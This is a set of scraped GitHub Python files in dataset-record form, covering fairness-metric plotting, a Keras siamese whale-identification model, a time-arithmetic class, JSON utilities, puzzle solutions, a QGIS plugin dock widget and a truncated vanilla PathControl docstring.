test_df=test_df, one_hot_encode_train=one_hot_encode_train, dataset=dataset, results_dir=results_dir)\n if results is not None:\n TPR_diff, FPR_diff, f1_score = results\n\n # Append metrics to lists\n tpr_diff_list.append(TPR_diff)\n fpr_diff_list.append(FPR_diff)\n f1_scores.append(f1_score)\n\n # Get medians\n tpr_diff_median = np.median(tpr_diff_list)\n fpr_diff_median = np.median(fpr_diff_list)\n if f1_metric == \"median\":\n f1_score_metric = np.median(f1_scores)\n elif f1_metric == \"max\":\n f1_score_metric = np.max(f1_scores)\n\n return tpr_diff_median, fpr_diff_median, f1_score_metric\n\ndef get_plot_metrics(synthesizer, epsilon_list, nreps, classifier, test_df, f1_metric=\"median\", one_hot_encode_train=False, dataset=\"adult\", results_dir=\"\"):\n \"\"\" return median and std of TPR_diff, FPR_diff, F1_score for *each* epsilon value (arrays of values) \"\"\"\n\n # Initialize lists\n tpr_diff_median_list = []\n fpr_diff_median_list = []\n f1_score_metrics = []\n tpr_diff_std_list = []\n fpr_diff_std_list = []\n f1_score_std_list = []\n\n # Loop through the epsilon values\n for eps in epsilon_list:\n\n # Initialize list to hold values for each epsilon value\n tpr_diff_list = []\n fpr_diff_list = []\n f1_scores = []\n\n # Loop through the range of repetitions\n for rep in range(nreps):\n\n # Get the classification metrics\n results = classification_helper(synthesizer=synthesizer, eps=eps, rep=rep, classifier=classifier,\n test_df=test_df, one_hot_encode_train=one_hot_encode_train, dataset=dataset, results_dir=results_dir)\n if results is not None:\n TPR_diff, FPR_diff, f1_score = results\n\n # Append metrics to lists\n tpr_diff_list.append(TPR_diff)\n fpr_diff_list.append(FPR_diff)\n f1_scores.append(f1_score)\n\n # Append medians to lists\n tpr_diff_median_list.append(np.median(tpr_diff_list))\n fpr_diff_median_list.append(np.median(fpr_diff_list))\n if f1_metric == \"median\":\n f1_score_metrics.append(np.median(f1_scores))\n elif f1_metric == \"max\":\n f1_score_metrics.append(np.max(f1_scores))\n tpr_diff_std_list.append(np.std(tpr_diff_list))\n fpr_diff_std_list.append(np.std(fpr_diff_list))\n f1_score_std_list.append(np.std(f1_scores))\n\n return tpr_diff_median_list, fpr_diff_median_list, f1_score_metrics, tpr_diff_std_list, fpr_diff_std_list, f1_score_std_list\n\ndef get_epsilon_plots(synthesizer_list, epsilon_list, nreps, classifier, test_df, f1_metric=\"median\", non_priv_train=None, one_hot_encode_train=False, dataset=\"adult\", results_dir=\"\", savefig=False):\n \"\"\" return subplot with three plots showing graphs of TPR_diff, FPR_diff, F1_score acros epsilons for each synthesizer \"\"\"\n\n # Get name for plotting\n if dataset == \"adult\":\n title = \"Adult\"\n elif dataset == \"acs\":\n title = \"ACS Income\"\n elif dataset == \"compas\":\n title = \"COMPAS\"\n elif dataset == \"german\":\n title = \"German Credit\"\n else:\n raise Exception(f\"Dataset {dataset} not recognized.\")\n\n # Initialize subplots\n if savefig:\n fig, ax = plt.subplots(1, 3, figsize=(16,3.7))\n else:\n fig, ax = plt.subplots(1, 3, figsize=(16,5))\n\n # Add the non-private results to the plots\n if non_priv_train is not None:\n non_priv_tpr_diff, non_priv_fpr_diff, non_priv_f1_score = classification_helper(None, None, None, classifier=classifier, test_df=test_df, non_priv_train=non_priv_train, one_hot_encode_train=one_hot_encode_train, dataset=dataset)\n ax[0].hlines(non_priv_tpr_diff, xmin=epsilon_list[0], xmax=epsilon_list[-1], linestyles=\"--\", label=\"Non-private data\", color=\"black\")\n ax[1].hlines(non_priv_fpr_diff, xmin=epsilon_list[0], xmax=epsilon_list[-1], linestyles=\"--\", label=\"Non-private data\", color=\"black\")\n ax[2].hlines(non_priv_f1_score, xmin=epsilon_list[0], xmax=epsilon_list[-1], linestyles=\"--\", label=\"Non-private data\", color=\"black\")\n\n # Loop through the synthesizers\n for synth in synthesizer_list:\n\n # Get all classification metrics\n if synth == \"QUAIL_PATECTGAN\":\n epsilon_list = epsilon_list[1:]\n tpr_diff_median_list, fpr_diff_median_list, f1_score_metrics, tpr_diff_std_list, fpr_diff_std_list, f1_score_std_list \\\n = get_plot_metrics(synthesizer=synth, epsilon_list=epsilon_list, nreps=nreps, classifier=classifier, test_df=test_df, f1_metric=f1_metric,\n one_hot_encode_train=one_hot_encode_train, dataset=dataset, results_dir=results_dir)\n\n # Plot the metrics with error bars\n ax[0].errorbar(epsilon_list, tpr_diff_median_list, tpr_diff_std_list, label=synth, alpha=0.7)\n ax[1].errorbar(epsilon_list, fpr_diff_median_list, fpr_diff_std_list, label=synth, alpha=0.7)\n ax[2].errorbar(epsilon_list, f1_score_metrics, f1_score_std_list, label=synth, alpha=0.7)\n\n # Plotting details\n if savefig:\n for i in range(3):\n ax[i].set_xlabel(\"Privacy budget $\\epsilon$\")\n ax[i].legend(loc=\"upper center\", bbox_to_anchor=(0.5, 1.25),\n fancybox=True, shadow=True, ncol=2)\n ax[0].set_ylabel(\"Equalized odds distance ($y=1$)\")\n ax[1].set_ylabel(\"Equalized odds distance ($y=0$)\")\n ax[2].set_ylabel(\"F1-score\")\n plt.savefig(results_dir+f\"{dataset}_{classifier}.png\", dpi=300, bbox_inches=\"tight\")\n else:\n for i in range(3):\n ax[i].set_xlabel(\"Privacy budget $\\epsilon$\")\n ax[i].legend(loc=\"lower left\")\n ax[0].set_ylabel(\"Equalized odds distance ($y=1$)\")\n ax[1].set_ylabel(\"Equalized odds distance ($y=0$)\")\n ax[2].set_ylabel(\"F1-score\")\n if classifier == \"logistic\":\n title = f\"{title} classification summary (logistic regression)\"\n elif classifier == \"forest\":\n title = f\"{title} classification summary (random forest)\"\n fig.suptitle(title, size=20)\n fig.tight_layout(rect=[0, 0.03, 1, 0.95])\n","repo_name":"kgrabarz/microsoft_capstone_fall_2021","sub_path":"classification_metrics.py","file_name":"classification_metrics.py","file_ext":"py","file_size_in_byte":14633,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"24872988829","text":"from pandas import read_csv\nfrom os.path import isfile\nfrom PIL import Image as pil_image\nfrom tqdm import tqdm_notebook\nimport pickle\nimport numpy as np\nfrom imagehash import phash\nfrom math import sqrt\nfrom keras import regularizers\nfrom keras.optimizers import Adam\nfrom keras.engine.topology import Input\nfrom keras.layers import Activation, Add, BatchNormalization, Concatenate, Conv2D, Dense, Flatten, GlobalMaxPooling2D, \\\n Lambda, MaxPooling2D, Reshape\nfrom keras.models import Model\n\ndef expand_path(p):\n if isfile('../input/whale-categorization-playground/train/' + p): return '../input/whale-categorization-playground/train/' + p\n if isfile('../input/whale-categorization-playground/test/' + p): return '../input/whale-categorization-playground/test/' + p\n return p\n\ntagged = dict([(p,w) for _,p,w in read_csv('/home/zrx/桌面/whale/train.csv').to_records()])\n# submit = [p for _,p,_ in read_csv('/home/zrx/桌面/whale/sample_submission.csv').to_records()]\n# join = list(tagged.keys()) + submit\nprint(len(tagged),list(tagged.items())[:5])\n\n# p2size = {}\n# for p in tqdm_notebook(join):\n# size = pil_image.open(expand_path(p)).size\n# p2size[p] = size\n# len(p2size), list(p2size.items())[:5]\n\n\n# Two phash values are considered duplicate if, for all associated image pairs:\n# 1) They have the same mode and size;\n# 2) After normalizing the pixel to zero mean and variance 1.0, the mean square error does not exceed 0.1\ndef match(h1,h2):\n for p1 in h2ps[h1]:\n for p2 in h2ps[h2]:\n i1 = pil_image.open(expand_path(p1))\n i2 = pil_image.open(expand_path(p2))\n if i1.mode != i2.mode or i1.size != i2.size: return False\n a1 = np.array(i1)\n a1 = a1 - a1.mean()\n a1 = a1/sqrt((a1**2).mean())\n a2 = np.array(i2)\n a2 = a2 - a2.mean()\n a2 = a2/sqrt((a2**2).mean())\n a = ((a1 - a2)**2).mean()\n if a > 0.1: return False\n return True\n\nif isfile('../input/humpback-whale-identification-model-files/p2h.pickle'):\n with open('../input/humpback-whale-identification-model-files/p2h.pickle', 'rb') as f:\n p2h = pickle.load(f)\nelse:\n # Compute phash for each image in the training and test set.\n p2h = {}\n for p in tqdm_notebook(join):\n img = pil_image.open(expand_path(p))\n h = phash(img)\n p2h[p] = h\n\n # Find all images associated with a given phash value.\n h2ps = {}\n for p,h in p2h.items():\n if h not in h2ps: h2ps[h] = []\n if p not in h2ps[h]: h2ps[h].append(p)\n\n # Find all distinct phash values\n hs = list(h2ps.keys())\n\n # If the images are close enough, associate the two phash values (this is the slow part: n^2 algorithm)\n h2h = {}\n for i,h1 in enumerate(tqdm_notebook(hs)):\n for h2 in hs[:i]:\n if h1-h2 <= 6 and match(h1, h2):\n s1 = str(h1)\n s2 = str(h2)\n if s1 < s2: s1,s2 = s2,s1\n h2h[s1] = s2\n\n # Group together images with equivalent phash, and replace by string format of phash (faster and more readable)\n for p,h in p2h.items():\n h = str(h)\n if h in h2h: h = h2h[h]\n p2h[p] = h\n\n\n\ndef subblock(x, filter, **kwargs):\n x = BatchNormalization()(x)\n y = x\n y = Conv2D(filter, (1, 1), activation='relu', **kwargs)(y) # Reduce the number of features to 'filter'\n y = BatchNormalization()(y)\n y = Conv2D(filter, (3, 3), activation='relu', **kwargs)(y) # Extend the feature field\n y = BatchNormalization()(y)\n y = Conv2D(K.int_shape(x)[-1], (1, 1), **kwargs)(y) # no activation # Restore the number of original features\n y = Add()([x, y]) # Add the bypass connection\n y = Activation('relu')(y)\n return y\n\n\ndef build_model(lr, l2, activation='sigmoid'):\n ##############\n # BRANCH MODEL\n ##############\n regul = regularizers.l2(l2)\n optim = Adam(lr=lr)\n kwargs = {'padding': 'same', 'kernel_regularizer': regul}\n\n inp = Input(shape=img_shape) # 384x384x1\n x = Conv2D(64, (9, 9), strides=2, activation='relu', **kwargs)(inp)\n\n x = MaxPooling2D((2, 2), strides=(2, 2))(x) # 96x96x64\n for _ in range(2):\n x = BatchNormalization()(x)\n x = Conv2D(64, (3, 3), activation='relu', **kwargs)(x)\n\n x = MaxPooling2D((2, 2), strides=(2, 2))(x) # 48x48x64\n x = BatchNormalization()(x)\n x = Conv2D(128, (1, 1), activation='relu', **kwargs)(x) # 48x48x128\n for _ in range(4): x = subblock(x, 64, **kwargs)\n\n x = MaxPooling2D((2, 2), strides=(2, 2))(x) # 24x24x128\n x = BatchNormalization()(x)\n x = Conv2D(256, (1, 1), activation='relu', **kwargs)(x) # 24x24x256\n for _ in range(4): x = subblock(x, 64, **kwargs)\n\n x = MaxPooling2D((2, 2), strides=(2, 2))(x) # 12x12x256\n x = BatchNormalization()(x)\n x = Conv2D(384, (1, 1), activation='relu', **kwargs)(x) # 12x12x384\n for _ in range(4): x = subblock(x, 96, **kwargs)\n\n x = MaxPooling2D((2, 2), strides=(2, 2))(x) # 6x6x384\n x = BatchNormalization()(x)\n x = Conv2D(512, (1, 1), activation='relu', **kwargs)(x) # 6x6x512\n for _ in range(4): x = subblock(x, 128, **kwargs)\n\n x = GlobalMaxPooling2D()(x) # 512\n branch_model = Model(inp, x)\n\n ############\n # HEAD MODEL\n ############\n mid = 32\n xa_inp = Input(shape=branch_model.output_shape[1:])\n xb_inp = Input(shape=branch_model.output_shape[1:])\n x1 = Lambda(lambda x: x[0] * x[1])([xa_inp, xb_inp])\n x2 = Lambda(lambda x: x[0] + x[1])([xa_inp, xb_inp])\n x3 = Lambda(lambda x: K.abs(x[0] - x[1]))([xa_inp, xb_inp])\n x4 = Lambda(lambda x: K.square(x))(x3)\n x = Concatenate()([x1, x2, x3, x4])\n x = Reshape((4, branch_model.output_shape[1], 1), name='reshape1')(x)\n\n # Per feature NN with shared weight is implemented using CONV2D with appropriate stride.\n x = Conv2D(mid, (4, 1), activation='relu', padding='valid')(x)\n x = Reshape((branch_model.output_shape[1], mid, 1))(x)\n x = Conv2D(1, (1, mid), activation='linear', padding='valid')(x)\n x = Flatten(name='flatten')(x)\n\n # Weighted sum implemented as a Dense layer.\n x = Dense(1, use_bias=True, activation=activation, name='weighted-average')(x)\n head_model = Model([xa_inp, xb_inp], x, name='head')\n\n ########################\n # SIAMESE NEURAL NETWORK\n ########################\n # Complete model is constructed by calling the branch model on each input image,\n # and then the head model on the resulting 512-vectors.\n img_a = Input(shape=img_shape)\n img_b = Input(shape=img_shape)\n xa = branch_model(img_a)\n xb = branch_model(img_b)\n x = head_model([xa, xb])\n model = Model([img_a, img_b], x)\n model.compile(optim, loss='binary_crossentropy', metrics=['binary_crossentropy', 'acc'])\n return model, branch_model, head_model\n\n\nmodel, branch_model, head_model = build_model(64e-5, 0)\nhead_model.summary()","repo_name":"Stomach-ache/semi-MList","sub_path":"code/g_whale_1.py","file_name":"g_whale_1.py","file_ext":"py","file_size_in_byte":6928,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"33108881052","text":"import datetime\r\nimport pytz\r\n\r\nclass Time:\r\n\r\n def __init__(self, h, m, s):\r\n self.hour = h\r\n self.minute = m\r\n self.second = s\r\n self.fix()\r\n\r\n \r\n def time_to_second(self):\r\n result_h = self.hour * 3600\r\n result_m = self.minute * 60\r\n result_s = self.second + result_h + result_m\r\n x = Time(0, 0, result_s)\r\n return x\r\n \r\n def second_to_time(self):\r\n if 60 <= self.second <3600 :\r\n result_m = self.second // 60\r\n c = result_m * 60\r\n result_s = self.second - c\r\n result_h = 0\r\n elif self.second >= 3600 :\r\n result_h = self.second // 3600\r\n e = result_h * 3600\r\n result_s = self.second - e\r\n if result_s < 60 :\r\n result_m =0\r\n else :\r\n result_m = result_s // 60\r\n k = result_m * 60\r\n result_s = result_s - k\r\n elif self.second < 60 :\r\n result_h = 0\r\n result_m = 0\r\n result_s = self.second\r\n x = Time(result_h, result_m, result_s)\r\n return x\r\n \r\n def sum(self, other):\r\n result_s = self.second + other.second\r\n if result_s>59 :\r\n result_s-=60\r\n result_m = self.minute + other.minute + 1\r\n if result_m>59 :\r\n result_m-=60\r\n result_h = self.hour + other.hour + 1\r\n else:\r\n result_h = self.hour + other.hour\r\n else:\r\n result_m = self.minute + other.minute\r\n if result_m>59 :\r\n result_m-=60\r\n result_h = self.hour + other.hour + 1\r\n else:\r\n result_h = self.hour + other.hour\r\n x = Time(result_h, result_m, result_s)\r\n return x\r\n \r\n def sub(self, other):\r\n result_s = self.second - other.second\r\n if result_s<0 :\r\n self.minute-=1\r\n self.second+=60\r\n result_s = self.second - other.second\r\n result_m = self.minute - other.minute\r\n if result_m<0 :\r\n self.hour-=1\r\n result_m+=60\r\n result_m = self.minute - other.minute\r\n result_h = self.hour - other.hour\r\n else:\r\n result_h = self.hour - other.hour\r\n else:\r\n result_m = self.minute - other.minute\r\n if result_m<0 :\r\n self.hour-=1\r\n result_m+=60\r\n result_m = self.minute - other.minute\r\n result_h = self.hour - other.hour\r\n else:\r\n result_h = self.hour - other.hou\r\n x = Time(result_h, result_m, result_s)\r\n return x\r\n\r\n def GMT_to_tehran_time(self) :\r\n result_h = self.hour + 3\r\n result_m = self.minute + 30 \r\n result_s = self.second \r\n x = Time(result_h, result_m, result_s)\r\n return x\r\n \r\n # gmt = pytz.timezone('GMT')\r\n # tehran = pytz.timezone('Asia/Tehran')\r\n # gmt_time = datetime.datetime.now(tz=gmt)\r\n # tehran_time = gmt_time.astimezone(tehran)\r\n # print(tehran_time, \": زمان فعلی تهران \")\r\n\r\n def fix(self):\r\n if self.second >= 60 :\r\n self.second -= 60\r\n self.minute += 1 \r\n\r\n if self.minute >= 60 : \r\n self.minute -= 60 \r\n self.hour += 1\r\n\r\n if self.second < 0 : \r\n self.second += 60 \r\n self.minute -= 1\r\n\r\n if self.minute < 0 :\r\n self.minute += 60\r\n self.hour -= 1\r\n\r\n def show(self):\r\n print(self.hour, ':', self.minute, ':',self.second)\r\n \r\na = Time(7, 45, 8)\r\na.show()\r\n\r\nb = Time(4, 17, 50)\r\nb.show()\r\n\r\nc = Time(0, 0, 58741)\r\nc.show()\r\n\r\nsecond_to_time = c.second_to_time()\r\nsecond_to_time.show()\r\n\r\n\r\ntime_to_second = a.time_to_second()\r\ntime_to_second.show()\r\n\r\nsum = a.sum(b)\r\nsum.show()\r\n\r\nsub = a.sub(b)\r\nsub.show()\r\n\r\ngmt_to_tehran_tim = a.GMT_to_tehran_time()\r\ngmt_to_tehran_tim.show()\r\n\r\nsub.show()\r\n","repo_name":"elmiraaemi/py.11","sub_path":"time.py","file_name":"time.py","file_ext":"py","file_size_in_byte":4096,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"27950978209","text":"from jsonpath_ng import parse\n\n\ndef recursion_json(json_dict, key='', new_value=None, count=10000):\n \"\"\"\n 递归修改字典中的某个key的值(该值不支持为列表-字典整个替换), 支持指定替换个数;默认是10000个(全量)\n _json({\"names\":[{\"title\":\"nice\"},{\"title\":\"大黄蜂\"}]}, \"title\", \"我要上天了\", count=1) ==> {\"names\":[{\"title\":\"我要上天了\"},{\"title\":\"大黄蜂\"}]}\n @param json_dict: 需要被修改的字段数据\n @param key: 需要变更的key\n @param new_value: 对应key的新的值\n @param count: 替换个数; 默认是10000个(全量) count = 2 则只替换前两个\n @return 对源数据体编辑,不返回新对象; 建议使用之前自行深复制对象后进行操作\n \"\"\"\n # 替换次数应该使用全局变量,以避免递归函数入参对局部变量的影响。\n global REPLACE_COUNT\n REPLACE_COUNT = count\n # 递归\n for k, v in json_dict.items():\n if REPLACE_COUNT > 0 and isinstance(v, dict):\n _json(v, key, new_value, REPLACE_COUNT)\n elif REPLACE_COUNT > 0 and isinstance(v, list) and len(v) > 0 and isinstance(v[0], dict):\n for i in v:\n _json(i, key, new_value, REPLACE_COUNT)\n else:\n if REPLACE_COUNT > 0 and k == key:\n json_dict[k] = new_value\n REPLACE_COUNT -= 1\n else:\n return True\n\ndef _json(json_dict, key='', new_value=None, count=10000, json_path=None):\n \"\"\"\n 支持修改字典中的某些key的值, 支持指定替换个数;默认是10000个(全量);\n 支持通过jsonpath修改目标节点的值。传入isjsonpath=True jsonpath=\"$.title\";\n 替换列表-字典等,请使用json的形式来替换。\n 支持通过jsonpath修改目标节点的值。传入isjsonpath=True jsonpath=\"$.title\"\n _json({\"names\":[{\"title\":\"nice\"},{\"title\":\"大黄蜂\"}]}, \"title\", \"我要上天了\", count=1) ==> {\"names\":[{\"title\":\"我要上天了\"},{\"title\":\"大黄蜂\"}]}\n _json({\"names\": [{\"title\": \"nice\"}], \"title\": \"大黄蜂\"} , new_value=\"擎天柱\", json_path=\"$.title\") ==> {'names': [{'title': 'nice'}], 'title': '擎天柱'}\n\n @param json_dict: 需要被修改的json数据\n @param key: 需要变更的key\n @param new_value: 对应key的新的值\n @param count: 替换个数; 默认是10000个(全量) count = 2 则只替换前两个\n @param json_path: 默认为None, 如果传入有值,则调用jsonpath-ng 进行修改对应的值。\n @return 对源数据体编辑,不返回新对象; 建议使用之前自行深复制对象后进行操作\n \"\"\"\n if json_path:\n try:\n parser = parse(json_path)\n # data = parser.find(json_dict)\n parser.update(json_dict, new_value)\n except Exception as e:\n print(f\"jsonpath可能有误{json_path}\")\n print(e)\n else:\n recursion_json(json_dict, key=key, new_value=new_value, count=count)\n","repo_name":"ByLele/python-workspace","sub_path":"utils/notion_util.py","file_name":"notion_util.py","file_ext":"py","file_size_in_byte":3043,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"31691568552","text":"from typing import List\nfrom collections import defaultdict\n\ntest_data = \"\"\"00100\n11110\n10110\n10111\n10101\n01111\n00111\n11100\n10000\n11001\n00010\n01010\"\"\"\n\n\ndef bit_counter(rows, column):\n counter = defaultdict(lambda: 0)\n\n for row in rows:\n counter[row[column]] += 1\n\n return counter\n\n\ndef power_consumption(bits: List):\n gamma = ''\n epsilon = ''\n\n for column in range(len(bits[0])):\n counter = bit_counter(column=column, rows=bits)\n\n if counter['1'] > counter['0']:\n gamma += '1'\n epsilon += '0'\n else:\n gamma += '0'\n epsilon += '1'\n\n return int(gamma, 2) * int(epsilon, 2)\n\n\ndef get_life_rating(bits: List, want_least=False):\n current_bits = bits\n\n for column in range(len(bits[0])):\n counter = bit_counter(rows=current_bits, column=column)\n\n if not want_least:\n most = '1' if counter['1'] >= counter['0'] else '0'\n else:\n most = '0' if counter['1'] >= counter['0'] else '1'\n\n kept_bits = [row for row in current_bits if row[column] == most]\n\n if len(kept_bits) == 1:\n return int(kept_bits[0], 2)\n\n current_bits = kept_bits\n\n\ndef oxygen_rating(bits: List):\n return get_life_rating(bits, want_least=False)\n\n\ndef co2_rating(bits: List):\n return get_life_rating(bits, want_least=True)\n\n\ndef life_support_rating(bits: List):\n return oxygen_rating(bits) * co2_rating(bits)\n\n\ndef test_power_consumption():\n assert power_consumption(test_data.split(\"\\n\")) == 198\n\n\ndef test_oxygen_rating():\n assert get_life_rating(test_data.split(\"\\n\")) == 23\n\n\ndef test_co2_rating():\n assert get_life_rating(test_data.split(\"\\n\"), want_least=True) == 10\n\n\ndef test_life_support_rating():\n assert life_support_rating(test_data.split(\"\\n\")) == 230\n\n\nif __name__ == '__main__':\n print(power_consumption(open('input/03').read().split(\"\\n\")))\n print(life_support_rating(open('input/03').read().split(\"\\n\")))\n","repo_name":"matslindh/codingchallenges","sub_path":"adventofcode2021/day03.py","file_name":"day03.py","file_ext":"py","file_size_in_byte":1981,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"31"} +{"seq_id":"32370304057","text":"Time = [ int( input() ) for _ in range( 5 ) ]\n\nimport math\nTime_10 = [ math.ceil( t / 10 ) * 10 for t in Time ]\nTime_1 = []\nfor t in Time:\n if not t % 10 == 0:\n Time_1.append( t % 10 )\n\nif not Time_1:\n Time_1.append( 10 )\n\nprint( sum( Time_10 ) - ( 10 - min( Time_1 ) ) )","repo_name":"tsukasa2/AtCoder","sub_path":"practice/ABC/123/abc123-b.py","file_name":"abc123-b.py","file_ext":"py","file_size_in_byte":284,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"21237534450","text":"from qgis.PyQt.QtCore import (Qt,\n QCoreApplication)\nfrom qgis.gui import QgsDockWidget\n\nfrom asistente_ladm_col.gui.field_data_capture.base_allocate_parcels_initial_panel import BaseAllocateParcelsInitialPanelWidget\nfrom asistente_ladm_col.gui.field_data_capture.base_allocate_parcels_to_receiver_panel import BaseAllocateParcelsToReceiverPanelWidget\nfrom asistente_ladm_col.gui.field_data_capture.base_configure_receivers_panel import BaseConfigureReceiversPanelWidget\nfrom asistente_ladm_col.gui.field_data_capture.base_split_data_for_receivers_panel import BaseSplitDataForReceiversPanelWidget\nfrom asistente_ladm_col.gui.field_data_capture.base_field_data_capture_controller import BaseFieldDataCaptureController\nfrom asistente_ladm_col.utils import get_ui_class\n\nfrom asistente_ladm_col.lib.logger import Logger\nfrom asistente_ladm_col.utils.qt_utils import OverrideCursor\n\nDOCKWIDGET_UI = get_ui_class('field_data_capture/base_dockwidget_field_data_capture.ui')\n\n\nclass BaseDockWidgetFieldDataCapture(QgsDockWidget, DOCKWIDGET_UI):\n def __init__(self, iface, db, ladm_data, allocate_mode=True):\n super(BaseDockWidgetFieldDataCapture, self).__init__(None)\n self.setupUi(self)\n self.setAllowedAreas(Qt.LeftDockWidgetArea | Qt.RightDockWidgetArea)\n\n self.logger = Logger()\n self.logger.clear_message_bar() # Clear QGIS message bar\n\n self._controller = self._get_controller(iface, db, ladm_data)\n self._controller.field_data_capture_layer_removed.connect(self.layer_removed)\n\n # Configure panels\n self.configure_receivers_panel = None\n self.lst_configure_receivers_panel = list()\n\n self.allocate_parcels_to_receiver_panel = None\n self.lst_allocate_parcels_to_receiver_panel = list()\n\n self.split_data_for_receivers_panel = None\n self.lst_split_data_for_receivers_panel = list()\n\n self.allocate_panel = None\n\n if allocate_mode:\n self._initialize_allocate_initial_panel()\n else: # Synchronize mode\n # self.synchronize_panel = ChangesPerParcelPanelWidget(self, self.utils)\n # self.widget.setMainPanel(self.synchronize_panel)\n # self.lst_parcel_panels.append(self.synchronize_panel)\n self._initialize_synchronize_initial_panel()\n\n def _get_controller(self, iface, db, ladm_data):\n raise NotImplementedError\n\n def _initialize_allocate_initial_panel(self):\n raise NotImplementedError\n\n def _initialize_synchronize_initial_panel(self):\n raise NotImplementedError\n\n def show_configure_receivers_panel(self):\n with OverrideCursor(Qt.WaitCursor):\n self.__reset_receivers_panel_vars()\n\n self.configure_receivers_panel = self._get_receivers_panel()\n self.configure_receivers_panel.clear_message_bar_requested.connect(\n self.allocate_panel.panel_accepted_clear_message_bar)\n self.widget.showPanel(self.configure_receivers_panel)\n self.lst_configure_receivers_panel.append(self.configure_receivers_panel)\n\n def __reset_receivers_panel_vars(self):\n if self.lst_configure_receivers_panel:\n for panel in self.lst_configure_receivers_panel:\n try:\n self.widget.closePanel(panel)\n except RuntimeError as e: # Panel in C++ could be already closed...\n pass\n\n self.lst_configure_receivers_panel = list()\n self.configure_receivers_panel = None\n\n def _get_receivers_panel(self):\n raise NotImplementedError\n\n def show_allocate_parcels_to_receiver_panel(self, selected_parcels):\n with OverrideCursor(Qt.WaitCursor):\n self._reset_allocate_parcels_to_receiver_panel_vars()\n\n self.allocate_parcels_to_receiver_panel = self._get_allocate_to_receiver_panel(selected_parcels)\n self.allocate_parcels_to_receiver_panel.refresh_parcel_data_requested.connect(\n self.allocate_panel.panel_accepted_refresh_parcel_data)\n self.widget.showPanel(self.allocate_parcels_to_receiver_panel)\n self.lst_allocate_parcels_to_receiver_panel.append(self.allocate_parcels_to_receiver_panel)\n\n def _reset_allocate_parcels_to_receiver_panel_vars(self):\n if self.lst_allocate_parcels_to_receiver_panel:\n for panel in self.lst_allocate_parcels_to_receiver_panel:\n try:\n self.widget.closePanel(panel)\n except RuntimeError as e: # Panel in C++ could be already closed...\n pass\n\n self.lst_allocate_parcels_to_receiver_panel = list()\n self.allocate_parcels_to_receiver_panel = None\n\n def _get_allocate_to_receiver_panel(self, selected_parcels):\n raise NotImplementedError\n\n def show_split_data_for_receivers_panel(self):\n with OverrideCursor(Qt.WaitCursor):\n self._reset_split_data_for_receivers_panel_vars()\n\n self.split_data_for_receivers_panel = self._get_split_data_for_receivers_panel()\n self.split_data_for_receivers_panel.refresh_parcel_data_clear_selection_requested.connect(\n self.allocate_panel.panel_accepted_refresh_and_clear_selection)\n self.widget.showPanel(self.split_data_for_receivers_panel)\n self.lst_split_data_for_receivers_panel.append(self.split_data_for_receivers_panel)\n\n def _get_split_data_for_receivers_panel(self):\n raise NotImplementedError\n\n def _reset_split_data_for_receivers_panel_vars(self):\n if self.lst_split_data_for_receivers_panel:\n for panel in self.lst_split_data_for_receivers_panel:\n try:\n self.widget.closePanel(panel)\n except RuntimeError as e: # Panel in C++ could be already closed...\n pass\n\n self.lst_split_data_for_receivers_panel = list()\n self.split_data_for_receivers_panel = None\n\n def closeEvent(self, event):\n # Close here open signals in other panels (if needed)\n if self.allocate_panel:\n self.allocate_panel.close_panel()\n\n self.close_dock_widget()\n\n def add_layers(self):\n self._controller.add_layers()\n\n def layer_removed(self):\n self.logger.info_msg(__name__, QCoreApplication.translate(\"DockWidgetFieldDataCapture\",\n \"'Field data capture' has been closed because you just removed a required layer.\"))\n self.close_dock_widget()\n\n def update_db_connection(self, db, ladm_col_db, db_source):\n self.close_dock_widget() # New DB: the user needs to use the menus again, which will start FDC from scratch\n\n def close_dock_widget(self):\n try:\n self._controller.field_data_capture_layer_removed.disconnect() # disconnect layer signals\n except:\n pass\n\n self.close() # The user needs to use the menus again, which will start everything from scratch\n\n def initialize_layers(self):\n self._controller.initialize_layers()\n","repo_name":"GeoTux2/Asistente-LADM-COL","sub_path":"asistente_ladm_col/gui/field_data_capture/base_dockwidget_field_data_capture.py","file_name":"base_dockwidget_field_data_capture.py","file_ext":"py","file_size_in_byte":7149,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"31"} +{"seq_id":"16249109681","text":"# https://leetcode.com/problems/longest-continuous-subarray-with-absolute-diff-less-than-or-equal-to-limit/\nimport math\nclass Solution:\n def longestSubarray(self, nums: List[int], limit: int) -> int:\n max_deque = deque()\n min_deque = deque()\n \n r=l=0\n ans = 0\n while r < len(nums):\n \n while min_deque and nums[min_deque[-1]] > nums[r]:\n min_deque.pop()\n while max_deque and nums[max_deque[-1]] < nums[r]:\n max_deque.pop()\n min_deque.append(r)\n max_deque.append(r)\n \n \n while nums[max_deque[0]] - nums[min_deque[0]] > limit:\n \n if nums[l] == nums[min_deque[0]]:\n min_deque.popleft()\n \n if nums[l] == nums[max_deque[0]]:\n max_deque.popleft()\n l+=1\n ans = max(ans,r-l+1)\n r+=1\n return ans\n \n \n \n \n ","repo_name":"AmanuelD02/Competitive-Programming","sub_path":"week-5/longest-continuous-subarray-with-absolute-diff-less-than-or-equal-to-limit.py","file_name":"longest-continuous-subarray-with-absolute-diff-less-than-or-equal-to-limit.py","file_ext":"py","file_size_in_byte":1043,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"19127111175","text":"from AppKit import *\nfrom vanillaBase import VanillaBaseControl\n\nclass PathControl(VanillaBaseControl):\n\n \"\"\"\n A path control.\n\n **posSize** Tuple of form *(left, top, width, height)* representing the position\n and size of the control. The size of the control sould match the appropriate value\n for the given *sizeStyle*.\n\n +-------------------------+\n | **Standard Dimensions** |\n +=========+===+===========+\n | Regular | H | 22 |\n +---------+---+-----------+\n | Small | H | 20 |\n +---------+---+-----------+\n | Mini | H | 18 |\n +---------+---+-----------+\n\n **url** The url to be displayed in the control. This should be a NSURL object.\n\n **editable** A boolean indicating if this control is editable or not.\n\n **callback** The method to be called when the user presses the control.\n\n **sizeStyle** A string representing the desired size style of the button. The options are:\n\n +-----------+\n | \"regular\" |\n +-----------+\n | \"small\" |\n 